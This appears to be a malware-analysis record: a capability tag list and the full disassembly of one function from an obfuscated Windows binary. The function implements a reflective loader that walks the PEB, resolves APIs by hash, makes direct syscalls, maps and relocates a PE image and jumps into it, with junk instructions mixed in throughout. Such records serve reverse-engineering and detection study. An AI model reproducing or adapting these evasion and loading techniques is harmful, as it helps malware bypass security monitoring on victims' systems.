Function at 0x14043c6cb
Capabilities:
Access peb ldr_data
Check http status code
Encrypt data using speck
Get kernel32 base address
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
test r10b, r10b
stc
cmp spl, 0x75
push rdi
clc
push rbp
push rbx
sub rsp, 0x78
cmp rbx, 0x6679286b
test r13b, cl
cmp qword [0x1400dd010], 0
jmp 0x14043c6fb
je 0x14043c748
xor eax, eax
shr ch, cl
setb cl
stc
lea rcx, [section..RngPMx0]
xchg r15w, r15w
nop word cs:[rax + rax]
lea r15, [rax + 0x10]
test r10w, 0x7262
cmp qword [rax + rcx + 0x20], 0
sete al
cwde
mov rax, r15
jmp 0x14043c73d
jne 0x14043c721
jmp 0x14043c74b
xor r15d, r15d
movabs r12, 0xcbf29ce484222325
neg r8d
movabs r13, 0x1d12a89b9e723ff5
rol cl, cl
mov rcx, qword gs:[0x30]
adc r10, 0x354d4806
mov rcx, qword [rcx + 0x60]
mov r10, qword [rcx + 0x18]
ror r8w, cl
shl r8d, cl
sub r8w, r12w
add r10, 0x10
not r8b
movabs r8, 0x2cc10c8855a9a8cd
jmp 0x14043c7ab
cmp rbx, r8
jmp 0x14043c7a5
je 0x14043c89f
mov r10, qword [r10]
mov r9, qword [r10 + 0x30]
test r10b, r13b
jmp 0x14043c7ba
test r9, r9
je 0x14043cae4
mov r11, qword [r10 + 0x60]
mov rdi, 0xffffffffffffffff
cmp word [r11 + rdi*2 + 2], 0
jmp 0x14043c7da
lea rdi, [rdi + 1]
jmp 0x14043c7e3
jne 0x14043c7ce
mov rbx, r12
stc
jmp 0x14043c7f2
test rdi, rdi
jmp 0x14043c7fa
je 0x14043c79d
xor ecx, ecx
sar bpl, cl
bsr bx, r11w
bt ebx, 0x12
mov rdx, r12
nop word [rax + rax]
cwde
movzx ebx, word [r11 + rcx*2]
cmovl bp, r10w
rcl eax, 0x77
or bp, 0x984
lea ebp, [rbx - 0x41]
neg sil
cmp dl, r13b
and sil, r12b
lea esi, [rbx - 0x410]
movsxd rax, ebp
movsx ax, ch
inc ax
lea eax, [rbx + 0x20]
cmp si, 0x20
jmp 0x14043c852
cmovb ebx, eax
stc
jmp 0x14043c85e
cmp bp, 0x1a
jmp 0x14043c867
cmovb ebx, eax
movzx ebx, bx
test r13, 0x4b2c373f
stc
xor rbx, rdx
imul rbx, r13
movzx rdx, r14w
inc ecx
sar dh, cl
sbb edx, ebp
neg edx
mov rdx, rbx
cmc
cmp rcx, rdi
jmp 0x14043c894
jb 0x14043c818
jmp 0x14043c79d
test r10, r10
jmp 0x14043c8a7
je 0x14043cae4
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
or edx, r14d
or cx, 0x7030
lea rcx, [r9 + rax]
test rax, rax
cmove rcx, rax
mov qword [rsp + 0x38], rcx
mov edx, dword [rcx + 0x18]
cmp r14, 0x3df73b43
test edx, edx
jmp 0x14043c8e2
je 0x14043cae4
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax + 0x20]
rol r8b, 0xd0
lea rcx, [rcx + r9]
xchg r10w, r10w
mov qword [rsp + 0x40], rcx
mov r8, 0xa96586
xor r10b, 0xfd
mov r10d, dword [rax + 0x24]
lea r10, [r10 + r9]
sar r8d, 0xe8
sal r8d, 0x79
mov r8d, dword [rax + 0x1c]
add r8, r9
sub edi, edi
jmp 0x14043c953
mov edx, dword [rsp + 0x20]
inc rdi
bt rax, r9
movzx ax, r14b
mov eax, edx
test r10b, 0xbd
clc
test sp, r9w
cmp rdi, rax
jmp 0x14043c94d
jae 0x14043cae4
movzx ecx, word [r10 + rdi*2]
adc bl, 0x9d
sal bl, 0x8f
mov ebx, dword [r8 + rcx*4]
cmp bx, r12w
cmp dword [r9 + rbx], 0xb8d18b4c
jne 0x14043c92e
mov dword [rsp + 0x20], edx
cmp r14b, 0xa
mov rax, qword [rsp + 0x40]
bts bp, r10w
add bpl, 0x4b
test r13d, 0x399f7f31
mov esi, dword [rax + rdi*4]
btc ebp, ebp
mov bpl, dl
lea rsi, [rsi + r9]
shl bpl, 0x62
rol rbp, 0xd0
shr bpl, 0x64
mov rbp, 0xffffffffffffffff
stc
nop dword [rax + rax]
stc
clc
cmp byte [rsi + rbp + 1], 0
jmp 0x14043c9c3
lea rbp, [rbp + 1]
jne 0x14043c9b9
mov rcx, r12
cmp r14b, 0x28
test bp, bx
test rbp, rbp
je 0x14043ca4c
sub r14d, r14d
mov r11, r12
nop dword [rax]
movzx eax, r9w
movzx ecx, byte [rsi + r14]
and rdx, 0x70137a33
lea edx, [rcx - 0x41]
lea eax, [rcx + 0x20]
stc
clc
test bh, 0x38
cmp dl, 0x1a
jmp 0x14043ca10
movzx eax, al
jmp 0x14043ca18
cmovae eax, ecx
movsx rcx, al
xor rcx, r11
cmc
bswap r11w
imul rcx, r13
inc r14d
bts r11w, ax
cmp r9d, r9d
btc r11w, sp
mov r11, rcx
cmp r14, rbp
jmp 0x14043ca46
jb 0x14043c9f1
mov rsi, qword [0x1400dd010]
stc
cmp r10b, 0xb
test rsi, rsi
jmp 0x14043ca60
je 0x14043c92a
lea rbp, [0x1400dd020]
cmc
cmp r13b, 3
test dx, 0x342c
nop word cs:[rax + rax]
cmp rsi, rcx
jmp 0x14043ca8e
je 0x14043cab4
mov rsi, qword [rbp]
jmp 0x14043ca9d
add rbp, 0x10
test rsi, rsi
jmp 0x14043caa9
jne 0x14043ca86
jmp 0x14043c92a
mov eax, dword [rbx + r9 + 4]
xchg dx, dx
jmp 0x14043cac5
mov dword [rbp - 8], eax
movsx dx, r10b
setbe al
mov dl, 0xe3
mov rax, qword [rsp + 0x38]
mov edx, dword [rax + 0x18]
jmp 0x14043cadf
jmp 0x14043c92e
test r15, r15
je 0x14043cb7e
xor ebp, ebp
sbb bh, 0x4b
cmp spl, 0
sar ebx, cl
lea rbx, [section..RngPMx0]
sar cl, cl
rcr ecx, cl
sbb dh, 0x18
mov rcx, r12
movzx dx, bpl
bts rdx, r13
cmc
nop dword [rax]
setbe dh
sub dl, sil
ror dx, 0x1e
movzx edx, byte [rbp + rbx + 0x10]
xor rcx, rdx
clc
imul rcx, r13
jmp 0x14043cb32
inc ebp
cmp rbp, r15
jmp 0x14043cb3c
jb 0x14043cb20
movabs rdx, 0xe9203a08b69f42e8
add rcx, rdx
shld edx, eax, 0x68
movabs rdx, 0x52aea00e8a0b3911
cmc
xor rdx, rcx
movabs rcx, 0xee16cad6b000daab
cmp r10w, 0x3636
add rcx, rdx
jmp 0x14043cb79
jmp 0x14043cb89
movabs rcx, 0xd5d341ba60cb39c7
cwde
rol rcx, 0x16
add ah, 0x77
movabs rax, 0x957b6a83b7a0090f
xor rax, rcx
movabs rcx, 0xec0e237d69308474
lea rcx, [rcx + rax]
jmp 0x14043cbb5
mov qword [0x1400b7208], rcx
cmp qword [0x1400de010], 0
jmp 0x14043cbc9
je 0x14043cc10
sub ecx, ecx
movzx ax, dl
sal dl, cl
lea rdx, [section.jYMSUDx1]
test r11b, cl
movsx ax, r13b
cwde
nop
lea rax, [rcx + 0x10]
clc
cmp qword [rcx + rdx + 0x20], 0
movsxd rcx, esi
xchg ch, ch
mov cx, r12w
mov rcx, rax
jmp 0x14043cc05
jne 0x14043cbe9
jmp 0x14043cc13
xor eax, eax
stc
mov qword [rsp + 0x60], rax
xor ecx, ecx
jmp 0x14043cc1f
jmp 0x14043cc3b
mov rcx, qword [rsp + 0x30]
inc rcx
cmp rcx, 8
jmp 0x14043cc35
je 0x14043cff1
lea rax, [0x1400bfdf0]
mov qword [rsp + 0x30], rcx
cmp dil, 0xc0
mov r8, qword [rax + rcx*8]
bsr ax, dx
cmovne r10w, r8w
mov rax, qword gs:[0x30]
adc r10, r10
mov rax, qword [rax + 0x60]
sal r10b, cl
mov r10, qword [rax + 0x18]
stc
add r10, 0x10
jmp 0x14043cc79
jmp 0x14043cc8c
cmp rdx, r8
jmp 0x14043cc86
je 0x14043cd6f
mov r10, qword [r10]
mov r11, qword [r10 + 0x30]
test r11, r11
jmp 0x14043cc9b
je 0x14043cc24
mov r14, qword [r10 + 0x60]
mov rbx, 0xffffffffffffffff
nop dword [rax]
cmp r11b, dil
jmp 0x14043ccb8
cmp word [r14 + rbx*2 + 2], 0
jmp 0x14043ccc4
lea rbx, [rbx + 1]
jmp 0x14043cccd
jne 0x14043ccb8
mov rdx, r12
test rbx, rbx
jmp 0x14043ccde
je 0x14043cc7e
sub ecx, ecx
lahf
movsxd rdx, r14d
mov rdi, r12
add eax, ebx
nop word [rax + rax]
shld ax, bp, 0x5b
rdtsc
movzx eax, word [r14 + rcx*2]
lea edx, [rax - 0x41]
add si, 0x1119
mov bpl, 0xb4
bswap rbp
lea esi, [rax - 0x410]
bts rbp, rsp
btr rbp, rdx
test r8b, 0x61
lea ebp, [rax + 0x20]
cmc
cmp si, 0x20
jmp 0x14043cd2e
cmovb eax, ebp
cmc
cmp dx, 0x1a
cwd
cmove dx, r11w
movzx edx, cx
cmovb eax, ebp
movzx edx, ax
xor rdx, rdi
imul rdx, r13
movsx edi, r9w
inc ecx
adc rdi, r10
rol dil, cl
mov rdi, rdx
cmp rcx, rbx
jmp 0x14043cd64
jb 0x14043ccfc
jmp 0x14043cc7e
test r10, r10
jmp 0x14043cd77
je 0x14043cc24
movzx eax, word [r11]
cmp cx, ax
stc
cmp eax, 0x5a4d
jne 0x14043cdcc
movsxd rax, dword [r11 + 0x3c]
mov rcx, 0x30746391
lea rcx, [r11 + rax]
cmp dword [r11 + rax], 0x4550
movsx ax, al
movsx eax, sp
cmove r9, r11
nop
mov rax, qword [rsp + 0x58]
jmp 0x14043cdbe
cmove rax, rcx
jmp 0x14043cdc7
jmp 0x14043cdd4
mov rax, qword [rsp + 0x58]
bswap bp
mov qword [rsp + 0x58], rax
sar rcx, cl
sub bpl, 0x69
mov ecx, dword [rax + 0x88]
or ah, 4
sal ah, 0x13
lea rax, [r9 + rcx]
sbb bp, 0x56f3
test rcx, rcx
movsx bp, r9b
movsx ebp, dx
jmp 0x14043ce05
cmove rax, rcx
movsx rbp, r10w
movsxd rbp, r12d
mov ebp, dword [rax + 0x18]
test ebp, ebp
jmp 0x14043ce1a
je 0x14043cc24
mov r14d, dword [rax + 0x20]
inc ecx
lea r14, [r14 + r11]
inc ecx
mov ecx, dword [rax + 0x24]
lea rcx, [rcx + r11]
stc
clc
mov qword [rsp + 0x40], rcx
clc
mov qword [rsp + 0x20], rax
mov eax, dword [rax + 0x1c]
clc
cmc
lea rax, [rax + r11]
cmp bpl, 0x2e
mov qword [rsp + 0x38], rax
sub esi, esi
jmp 0x14043ce59
jmp 0x14043cec1
mov rax, qword [rsp + 0x40]
movzx eax, word [rax + rsi*2]
cmp sil, r14b
bsf rdx, rbx
mov rdx, qword [rsp + 0x38]
rol bpl, cl
shld rbp, rax, 0xb2
mov eax, dword [rdx + rax*4]
bt bp, r9w
stc
add rax, r11
mov bpl, r10b
mov bpl, 0xe
mov qword [rcx - 8], rax
inc al
mov rax, qword [rsp + 0x20]
movsxd rbp, ecx
mov ebp, dword [rax + 0x18]
movsx eax, dx
movsx ax, ah
inc rsi
cmp r11w, cx
movsx ax, bpl
mov eax, ebp
cmp rsi, rax
jmp 0x14043cebb
jae 0x14043cc24
mov r8d, dword [r14 + rsi*4]
adc ebx, esp
lea r8, [r8 + r11]
movzx rbx, r9w
mov rbx, 0xffffffffffffffff
nop dword [rax]
cmp ax, 0x5df7
clc
stc
cmp byte [r8 + rbx + 1], 0
jmp 0x14043ceeb
lea rbx, [rbx + 1]
jmp 0x14043cef4
jne 0x14043cee0
mov r10, r12
test rbx, rbx
jmp 0x14043cf05
je 0x14043cf92
sub ecx, ecx
mov r15, r12
rcr dil, cl
bts edi, r12d
nop dword [rax]
movzx edi, byte [r8 + rcx]
shl r10b, 0x86
lea eax, [rdi - 0x41]
bt dx, 0xda
rcr r10b, cl
lea edx, [rdi + 0x20]
btr r10w, r10w
movzx r10w, r10b
rol r10b, cl
cmp al, 0x1a
movzx r10w, bl
movzx eax, dl
movzx r10, ax
movsx r10, r13w
cmovae eax, edi
cmp bl, bl
movsx r10, al
xor r10, r15
and r15d, ecx
imul r10, r13
movsx r15w, r13b
mov r15w, 0x5019
inc r15w
inc ecx
mov r15, r10
clc
cmp r11w, ax
jmp 0x14043cf84
cmp rcx, rbx
jmp 0x14043cf8c
jb 0x14043cf1e
mov rbx, qword [0x1400de010]
test r11w, 0x196b
test rbx, rbx
je 0x14043cea5
lea rcx, [0x1400de020]
cmc
jmp 0x14043cfb5
nop dword [rax + rax]
cmp bp, 0x67c7
stc
cmp rbx, r10
jmp 0x14043cfc8
je 0x14043ce5e
mov rbx, qword [rcx]
jmp 0x14043cfd9
add rcx, 0x10
clc
test rbx, rbx
jmp 0x14043cfe6
jne 0x14043cfc0
jmp 0x14043cea5
mov rax, qword [rsp + 0x60]
test al, r9b
jmp 0x14043cffe
test rax, rax
jmp 0x14043d006
je 0x14043d06e
xor ecx, ecx
adc dx, 0x2e2e
cdq
bt ebp, edx
lea rbp, [section.jYMSUDx1]
shl dx, 0xe
sbb dx, ax
nop dword [rax]
cmovs dx, r12w
cmp r14w, 0x5485
movzx edx, byte [rcx + rbp + 0x10]
xor rdx, r12
cmc
rcr r12d, cl
not r12w
imul rdx, r13
dec r12w
inc ecx
cmc
movsx r12d, r9w
mov r12, rdx
cmp cl, r8b
test esi, r12d
cmp rcx, rax
jmp 0x14043d063
jb 0x14043d033
jmp 0x14043d074
mov rdx, r12
rcl cl, 0xbd
rol rdx, 0xb
setno ah
movsx rcx, r12w
bts ecx, r9d
movabs rax, 0xdf7ad2359957b5f4
add rax, rdx
btr ecx, edx
rol rax, 0x16
rcr ecx, cl
clc
movabs rcx, 0x4934245b3ce013cf
xor rcx, rax
sbb rax, rax
ror al, cl
movabs rax, 0x5b5c0083c64fa867
cmp dl, sil
add rax, rcx
movsx cx, dl
movzx ecx, bp
rol rax, 0xc
movabs rcx, 0xdd5421de87040723
cmp sp, dx
clc
add rcx, rax
rol rcx, 0x25
movsx ax, r12b
bt rax, r12
jmp 0x14043d0ea
mov qword [0x1400b7210], rcx
mov eax, dword [0x7ffe0014]
rcr cx, cl
mov dword [0x1400b8eb8], eax
rcr cl, cl
xchg ch, ch
sub ecx, 0x1ab360fd
movzx ecx, word [0x140000000]
clc
cmp ecx, 0x5a4d
jmp 0x14043d11e
jne 0x14043d173
movsxd rcx, dword [0x14000003c]
cqo
bsf edx, r12d
bts dx, di
lea rdx, [0x140000000]
clc
cmp dword [rcx + rdx], 0x4550
jmp 0x14043d149
jne 0x14043d173
lea rbx, [rcx + rdx]
test bpl, spl
lea r14, [rcx + rdx]
movzx r13, bx
cmc
inc r9b
add r14, 0x108
shrd r10w, r12w, 0xc7
bsf dx, cx
imul eax, eax, 0x41c64e6d
add eax, 0x3039
add r13b, 0xf0
rol r12b, cl
add r12b, r14b
imul ecx, eax, 0x41c64e6d
bt rbp, rbx
shr r10b, 0x4b
shr eax, 0x10
movsx r12d, r15w
lea edx, [rax + rax*2]
or r9w, 0x1630
sar r12w, 0x63
btr r10w, r14w
shr edx, 0x10
movsx r9w, r15b
or r13w, sp
shr r9d, 0xa7
mov ebp, eax
sub ebp, edx
neg r9b
movzx ebp, bp
ror r9w, 0xf0
cmovo r12w, dx
shr ebp, 1
movzx r13w, r14b
movsx r9w, bl
add ebp, edx
movzx r13d, bp
not r10b
rol r12w, 0xe3
shr r13d, 0xe
neg r12b
cwd
add r13d, eax
and r13d, 0x3fff
cdq
bsf dx, r8w
btr ax, 0x8f
add r13d, 0xfff
cmp r14b, 0x56
and r13d, 0x7000
add ecx, 0x3039
ror r10w, 5
sal eax, cl
mov dword [0x1400b8eb8], ecx
cwde
setp dl
btc rdx, r9
shr ecx, 0x10
xadd ax, r10w
dec dx
lea eax, [rcx + rcx*2]
sub r12b, r14b
shr eax, 0x10
btc edx, r9d
adc r10b, 0xa8
xchg dl, r12b
mov edx, ecx
sub edx, eax
xchg r10b, r12b
movzx edx, dx
rcl r9d, 0xb3
shr edx, 1
movzx r10, r12w
rcl r10w, cl
add edx, eax
sar r9b, cl
and ah, 0xa6
movzx r12d, dx
shr r12d, 0xe
stc
add r12d, ecx
and r12d, 0x3fff
rcl r9w, cl
add r12d, 0xfff
shr r10b, cl
and r12d, 0x7000
cwd
btr rdx, 0x7c
test esi, 0x14a91cb6
mov qword [rsp + 0x28], 0
shl ax, 9
mov qword [rsp + 0x20], rbx
mov ecx, dword [rbx + 0x50]
add rcx, r12
clc
sub eax, r9d
shld rdx, r15, 0xce
add rcx, r13
mov qword [rsp + 0x48], rcx
sal r10b, 0x3c
cmp rcx, rdx
mov eax, dword [0x1400dd078]
mov dl, r9b
rol r9b, 0x88
lea rdx, [rsp + 0x28]
shl r9b, 0x1f
test r12d, r11d
movsx r9, bx
lea r9, [rsp + 0x48]
cmc
sbb r10d, 0x3f8049f9
sal r10b, 0x37
mov r10, 0xffffffffffffffff
stc
xor r8d, r8d
sub rsp, 0x40
jmp 0x14043d31f
mov qword [rsp + 0x28], 0x3000
jmp 0x14043d32d
mov qword [rsp + 0x30], 4
jmp 0x14043d33b
syscall
add rsp, 0x40
and rcx, rax
rcr cx, cl
shr rcx, cl
mov rcx, qword [rsp + 0x28]
cmp r12d, 0x4e80033
rol r8d, cl
mov r8, qword [rsp + 0x48]
cmp r14w, ax
sub edx, edx
jmp 0x14043d369
call fcn.14049e376
mov r15, qword [rsp + 0x28]
stc
test r8b, al
test r13d, r13d
je 0x14043d57e
mov rcx, r13
rcr bh, 0x22
shr rcx, 3
cmp rcx, 2
mov r8d, 1
not bpl
movsx bp, bl
cdqe
cmovae r8, rcx
xor r9d, r9d
not ch
nop word cs:[rax + rax]
imul edx, dword [0x1400b8eb8], 0x41c64e6d
add edx, 0x3039
or ch, 0xc3
bsr esi, r10d
imul edi, edx, 0x41c64e6d
mov ebp, edx
lahf
cmc
sal dx, cl
shr ebp, 0x10
btc bx, 0x53
cmc
bt rdx, 0x35
lea edx, [rbp + rbp*2]
shr edx, 0x10
mov eax, ebp
and cx, 0x2eed
and sil, r13b
bt bx, cx
sub eax, edx
movzx eax, ax
bsf bx, r15w
shr eax, 1
and rcx, 0x19dc6c1d
add eax, edx
setne dh
movzx bx, ah
add edi, 0x3039
cmc
rol si, cl
seto sil
movzx edx, ax
movsx si, dl
mov eax, edi
shr cx, cl
setbe bl
clc
shr eax, 0x10
cmp ecx, edi
ror si, 0x9e
lea ebx, [rax + rax*2]
sal cx, cl
btc esi, r12d
shr edx, 0xe
shr ebx, 0x10
mov esi, eax
sub esi, ebx
and ecx, 0x2f602d12
mov ecx, edx
movzx esi, si
shr esi, 1
add esi, ebx
shl ecx, 0xf
adc bx, r9w
movzx ebx, si
shr ebx, 0xe
bswap si
movzx esi, sp
mov esi, ebx
sub edx, ecx
sar cx, cl
shl esi, 0xf
shl cl, cl
not ch
xadd cl, cl
sub ebx, esi
add ebx, eax
sal rcx, cl
and ecx, 0x38a94e83
neg cl
add edx, ebp
sub ebp, ebp
shl bpl, 0xe5
shr ecx, cl
cmp bx, 0x10
movzx ebx, r10w
setb bpl
nop
stc
imul eax, edi, 0x41c64e6d
sub dil, 0x8b
shrd ecx, r15d, 0x55
sal dil, 0x6d
add eax, 0x3039
sal dil, 0xf8
jmp 0x14043d4cf
imul ecx, eax, 0x41c64e6d
shr eax, 0x10
lea ebx, [rax + rax*2]
dec dil
bsr di, r13w
adc di, si
shr ebx, 0x10
mov edi, eax
jmp 0x14043d4f4
sub edi, ebx
cmp r8b, r13b
clc
movzx edi, di
test r9w, r8w
cmc
shr edi, 1
add edi, ebx
sal bx, cl
movzx rbx, dx
bswap bx
movzx edx, dx
sar bh, 0x48
add bl, r10b
movzx ebx, di
movsxd rdi, r11d
shr ebx, 0xe
mov edi, ebx
or rbp, rdx
clc
shl edi, 0xf
cmp spl, 0xae
sub ebx, edi
clc
test sp, 0x51c6
add ebx, eax
cmc
add ecx, 0x3039
sub eax, eax
adc al, r10b
cmp bx, 0x20
mov al, 0x89
setb al
test r11b, r12b
mov dword [0x1400b8eb8], ecx
or rax, rbp
jmp 0x14043d55f
mov qword [r15 + r9*8], rax
inc r9
cmp r8, r9
jmp 0x14043d56e
jne 0x14043d3b0
mov r15, qword [rsp + 0x28]
clc
cmp r9b, 0xc8
test r12, r12
jmp 0x14043d586
je 0x14043d7dd
sub r15, r12
mov rax, rcx
add r15, qword [rsp + 0x48]
shr r12, 3
neg bx
cmp r12, 2
mov r8d, 1
cmovae r8, r12
cwde
mov sil, bpl
bswap ax
sub r9d, r9d
nop
imul edx, dword [0x1400b8eb8], 0x41c64e6d
and bp, ax
inc rbp
movsx edi, si
add edx, 0x3039
jmp 0x14043d5db
imul edi, edx, 0x41c64e6d
mov cl, r8b
sal cx, cl
xadd ecx, esi
mov ebp, edx
shr ebp, 0x10
dec ax
and cl, 0x7d
lea edx, [rbp + rbp*2]
movsx rcx, r9w
rol ax, cl
setne sil
shr edx, 0x10
xor al, 0x39
mov ebx, ebp
inc eax
sub ebx, edx
sar ch, cl
cmovne si, dx
bsr eax, r9d
movzx ebx, bx
adc sil, 0x7c
movzx rsi, di
shr ebx, 1
btc si, 0xec
rcl cl, cl
add ebx, edx
add edi, 0x3039
cqo
movzx edx, bx
mov ebx, edi
shl cl, cl
setns ch
shr ebx, 0x10
add cx, cx
shr cl, cl
lea esi, [rbx + rbx*2]
nop
or ax, bx
shr edx, 0xe
xadd ax, cx
or ax, r13w
shr rax, 0xfd
shr esi, 0x10
inc cl
mov eax, ebx
movsxd rcx, ebp
sub eax, esi
btc cx, 0xa3
movsx ecx, r13w
mov ecx, edx
clc
cmc
movzx eax, ax
shr eax, 1
test r15b, 0x32
cmp r15b, 0x65
stc
add eax, esi
bts si, r9w
or sil, al
cmovl si, dx
shl ecx, 0xf
mov sil, r12b
bts si, ax
movzx eax, ax
xor sil, r9b
movsxd rsi, r14d
sar sil, 0x99
shr eax, 0xe
or si, r15w
ror esi, 0x9c
xchg sil, sil
mov esi, eax
sub edx, ecx
adc cl, 0xc2
sar cx, cl
shl esi, 0xf
bt ecx, esi
neg ecx
sub eax, esi
add eax, ebx
adc cl, 0xdf
sal bx, 0xcb
add edx, ebp
stc
xor ebp, ebp
cmp ax, 0x10
setb bpl
xadd cx, bx
cdqe
imul eax, edi, 0x41c64e6d
sal bx, cl
add eax, 0x3039
xor ecx, 0x30c1133f
imul ecx, eax, 0x41c64e6d
neg dil
sub di, bp
shr eax, 0x10
lea ebx, [rax + rax*2]
movzx di, r10b
xadd edi, edi
shr ebx, 0x10
btc di, 0x73
test bx, 0x23f3
mov edi, eax
sub edi, ebx
movzx edi, di
cmp r13, 0x7e4b1f2b
stc
cmp cx, r15w
shr edi, 1
add edi, ebx
movzx edx, dx
dec rbx
movzx bx, spl
shrd rbx, rdi, 0x8f
movzx ebx, di
bts di, cx
shl edi, 0x59
shr ebx, 0xe
xchg edi, edi
shr dil, cl
movsxd rdi, r14d
mov edi, ebx
stc
or rbp, rdx
test rbp, 0x4b111a14
shl edi, 0xf
cmc
cmp eax, 0x37681282
clc
sub ebx, edi
test ah, 0xf8
add ebx, eax
test r9w, 0x7a37
jmp 0x14043d78f
add ecx, 0x3039
test bx, dx
sub eax, eax
cmc
dec al
cmp bx, 0x20
setb al
jmp 0x14043d7a9
mov dword [0x1400b8eb8], ecx
clc
or rax, rbp
jmp 0x14043d7b8
mov qword [r15 + r9*8], rax
jmp 0x14043d7c1
inc r9
jmp 0x14043d7ca
cmp r8, r9
jmp 0x14043d7d2
jne 0x14043d5b8
mov r15, qword [rsp + 0x28]
mov rax, qword [rsp + 0x20]
lea r15, [r15 + r13]
movzx eax, word [rax + 6]
jmp 0x14043d7f2
test rax, rax
jmp 0x14043d7fa
je 0x14043d92e
shl rax, 3
btc si, 4
neg dh
lea rbp, [rax + rax*4]
xor edi, edi
mov ebx, 4
cwd
rcr dl, 0x7b
shl si, 0x5c
lea rsi, [rsp + 0x70]
lahf
bsf r8w, cx
lea r12, [rsp + 0x68]
adc r8w, 0x4ac0
jmp 0x14043d83a
lea r13, [rsp + 0x54]
nop dword [rax + rax]
mov edx, dword [r14 + rdi + 0xc]
movsx r8d, bx
sub cl, r10b
shr rcx, cl
lea rcx, [r15 + rdx]
bsr r8, r13
mov qword [rsp + 0x70], rcx
shld r8, r13, 0x90
rcr r8, 0x6f
lea rax, [0x140000000]
xadd r8w, r8w
or r8w, 0x1a45
add rdx, rax
mov r8b, r10b
movzx r8w, r13b
not r8w
mov r8d, dword [r14 + rdi + 8]
jmp 0x14043d894
call fcn.14049d8a6
mov eax, dword [r14 + rdi + 8]
shr r10b, cl
sar r8b, cl
rcl r10w, 0xb2
mov qword [rsp + 0x68], rax
and r10w, ax
mov dword [rsp + 0x54], 0
cqo
test dword [r14 + rdi + 0x24], 0x20000000
mov r9, rdx
mov r9d, 0x40
xchg edx, edx
cmove r9d, ebx
mov eax, dword [0x1400dd088]
shr r10b, 0x84
movsx r8, sp
mov r10, 0xffffffffffffffff
or r8b, spl
mov rdx, rsi
mov r8b, 0x6a
adc r8b, 0x2b
mov r8, r12
test bpl, bpl
sub rsp, 0x30
jmp 0x14043d905
mov qword [rsp + 0x28], r13
jmp 0x14043d90f
syscall
add rsp, 0x30
cmp sil, 0x83
cmc
cmp dx, di
add rdi, 0x28
cmp ebp, edi
jmp 0x14043d928
jne 0x14043d844
lea rdx, [0x140000000]
mov rax, r15
sal cl, 0x25
sub rax, rdx
rcl cx, 0x70
cmp r9b, r10b
btc cx, 0xe8
mov rsi, qword [rsp + 0x20]
setns ch
btr cx, 0x1d
mov ecx, dword [rsi + 0xb0]
clc
add rcx, rdx
jmp 0x14043d966
je 0x14043da63
mov r8d, 1
jmp 0x14043d977
jmp 0x14043d993
mov ebx, dword [rcx + 4]
cmc
cmp r15b, 0x1f
clc
add rcx, rbx
jmp 0x14043d98d
je 0x14043da63
cmp dword [rcx], 0
je 0x14043da63
mov ebx, dword [rcx + 4]
clc
jmp 0x14043d9a5
test rbx, rbx
jmp 0x14043d9ad
je 0x14043da63
lea rbp, [rbx - 8]
cmp rbp, 2
jmp 0x14043d9c0
jb 0x14043d985
shr rbp, 1
cmc
cmp ecx, 0x16c4776
clc
cmp rbp, 2
jmp 0x14043d9da
cmovb rbp, r8
cmc
sub ebx, ebx
jmp 0x14043d9e6
jmp 0x14043da28
and edi, 0xfff
adc dx, 0x6cac
xor edx, 0x60871862
cdq
mov edx, dword [rcx]
jmp 0x14043da05
lea rdi, [rdi + r15]
cmp r10w, 1
add qword [rdx + rdi], rax
inc rbx
cmp r12b, dil
cmc
cmp rbp, rbx
jmp 0x14043da22
je 0x14043d97c
movzx edi, word [rcx + rbx*2 + 8]
stc
cmp edi, 0x1000
jmp 0x14043da39
jb 0x14043da13
mov edx, edi
cmp r11b, 0xc8
test r8b, r10b
shr edx, 0xc
stc
cmp edx, 0xa
je 0x14043d9eb
cmp edx, 3
je 0x14043d9eb
jmp 0x14043da13
mov ecx, dword [rsi + 0xd0]
jmp 0x14043da6e
movq xmm0, rax
pshufd xmm0, xmm0, 0x44
movdqu xmm1, xmmword [r15 + rcx]
jmp 0x14043da83
movdqu xmm2, xmmword [r15 + rcx + 0x10]
jmp 0x14043da8f
paddq xmm1, xmm0
movdqu xmmword [r15 + rcx], xmm1
jmp 0x14043da9e
paddq xmm2, xmm0
movdqu xmmword [r15 + rcx + 0x10], xmm2
shr dl, cl
neg dh
cmp bl, sil
lea rdx, [0x14005d630]
add rdx, rax
xchg cl, cl
lea rcx, [0x140000000]
jmp 0x14043dac8
call rdx
nop
add rsp, 0x78
pop rbx
jmp 0x14043dad5
pop rbp
jmp 0x14043dade
pop rdi
mov sil, 0xa7
xchg sil, r14b
pop rsi
jmp 0x14043daf2
pop r12
movzx r13d, sp
movzx r13, ax
pop r13
pop r14
movsx r15w, al
movzx r15w, r8b
pop r15
ret